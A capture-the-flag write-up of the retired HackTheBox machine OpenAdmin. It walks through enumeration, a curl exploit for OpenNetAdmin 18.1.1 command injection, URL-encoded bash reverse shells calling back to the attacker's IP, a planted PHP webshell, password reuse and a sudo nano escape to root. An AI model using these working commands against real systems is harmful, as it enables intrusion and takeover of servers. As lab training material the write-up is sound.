HackTheBox - OpenAdmin

https://d33wubrfki0l68.cloudfront.net/2d8c87ec071fffc709b4796929309956873aa0bd/d543c/_nuxt/images/hackthebox-openadmin-writeup-1024.32d6b54.jpg


OS Difficulty IP Address Status
Linux Easy 10.10.10.171 Retired

This was classified as an easy machine but took tons of enumeration and tradecraft. This was an awesome learning opportunity by HackTheBox. The box is running a webserver, while enumerating, we find an OpenNetAdmin instance which is vulnerable to remote code execution; which will be our entry point. Finally, the privilege escalation vector will be the nano editor.

Phase 1 - Enumeration

Nmap

As usual, we start off with an Nmap to identify open ports.

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
|   256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_  256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

And we only get two ports opened, SSH on 22 and an Apache webserver on port 80.

Port 80

When we open the page on port 80, we get nothing but the default Apache2 index page. So, let’s enumerate this webserver by brute-forcing directories with the following command:

gobuster dir -u http://10.10.10.171/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 80 -x html,txt,php -o gobuster.log

/index.html           (Status: 200) [Size: 10918]
/music                (Status: 301) [Size: 312] [--> http://10.10.10.171/music/]
/artwork              (Status: 301) [Size: 314] [--> http://10.10.10.171/artwork/]
/sierra               (Status: 301) [Size: 313] [--> http://10.10.10.171/sierra/]

/music

Most of the links on /music redirects to index.html, except for the Login button, which redirects to /ona
enter image description here

/ona

We get what looks like an admin panel with version information. So we did a little research and found out that’s it is OpenNetAdmin version 18.1.1.
enter image description here

Phase 2 - Exploitation

OpenNetAdmin 18.1.1 - Remote Code Execution (RCE)

OpenNetAdmin v18.1.1 RCE by mattpascoe released in 2019 is a simple bash script that takes advantage of a unsanitized PHP function (shell_exec) that executes shell commands and returns the output as a string; most convenient to hackers. More detailed information can be found in this medium blog post by R3d Buck3T.

Let’s take out the main functions in the exploit script on its own as it is just a cURL command, and attempt a test to display the user id as output:

curl -s -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;id&xajaxargs[]=ping" http://10.10.10.171/ona/

enter image description here

And it works!

www-data to jimmy

Let’s a shell on the box. For that, we’ll just start a listener, type the bash reverse shell and URL encode it:

curl -s -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.18/9003+0>%261'&xajaxargs[]=ping" http://10.10.10.171/ona/

And we’re in! Going through the www-data user’s files; we find an interesting file with a password for the MySQL database:

www-data@openadmin:/var/www/html/ona/local/config$ less database_settings.inc.php
<?php

$ona_contexts=array (
  'DEFAULT' => 
  array (
    'databases' => 
    array (
      0 => 
      array (
        'db_type' => 'mysqli',
        'db_host' => 'localhost',
        'db_login' => 'ona_sys',
        'db_passwd' => 'n1nj4W4rri0R!',
        'db_database' => 'ona_default',
        'db_debug' => false,
      ),
    ),
    'description' => 'Default data context',
    'context_color' => '#D3DBFF',
  ),
);

Password Reuse

Looking in the /home directory, we find two user folders: (i) jimmy (ii) joanna
We to SSH into the box with jimmy and the password ‘n1nj4W4rri0R!’ and we get in!

jimmy to joanna

Enumerating files that the user jimmy has access to, we find the virtualhost routing configuration for Apache2 which shows that there’s a webpage running on localhost port 52846.

jimmy@openadmin:/etc/apache2/sites-enabled$ cat internal.conf 
Listen 127.0.0.1:52846

<VirtualHost 127.0.0.1:52846>
    ServerName internal.openadmin.htb
    DocumentRoot /var/www/internal

<IfModule mpm_itk_module>
AssignUserID joanna joanna
</IfModule>

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined

</VirtualHost>

SSH Tunnel

Since we have a valid user with password for SSH, let’s tunnel the webpage through SSH so we can access it.

ssh [email protected] -L 52846:localhost:52846

enter image description here
Even though we don’t know the username and password for the above webpage, we still have access to the machine itself; so let’s add a simple PHP webshell, then use it to gain a reverse shell:

jimmy@openadmin:/var/www/internal$ echo '<?php system($_GET["pot"]); ?>' > pot.php

And it works!
enter image description here

For reverse shell, listen on the specified port and execute the following in the browser link:

localhost:52846/pot.php?pot=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.18/9002+0>%261'

And we are now the user joanna!

Phase 3 - Privilege Escalation

nano

Looking a joanna’s sudo permissions:

joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
    env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR XFILESEARCHPATH XUSERFILESEARCHPATH", secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, mail_badpass

User joanna may run the following commands on openadmin:
    (ALL) NOPASSWD: /bin/nano /opt/priv

We see the user joanna can run nano with sudo. A quick search on GTFOBins, and we find a page on nano. The path to get shell from sudo is as follows:

sudo /bin/nano /opt/priv

# Ctrl+r then Ctrl+x
^R^X

# finally type the follwoing
reset; sh 1>&0 2>&0

And we are root!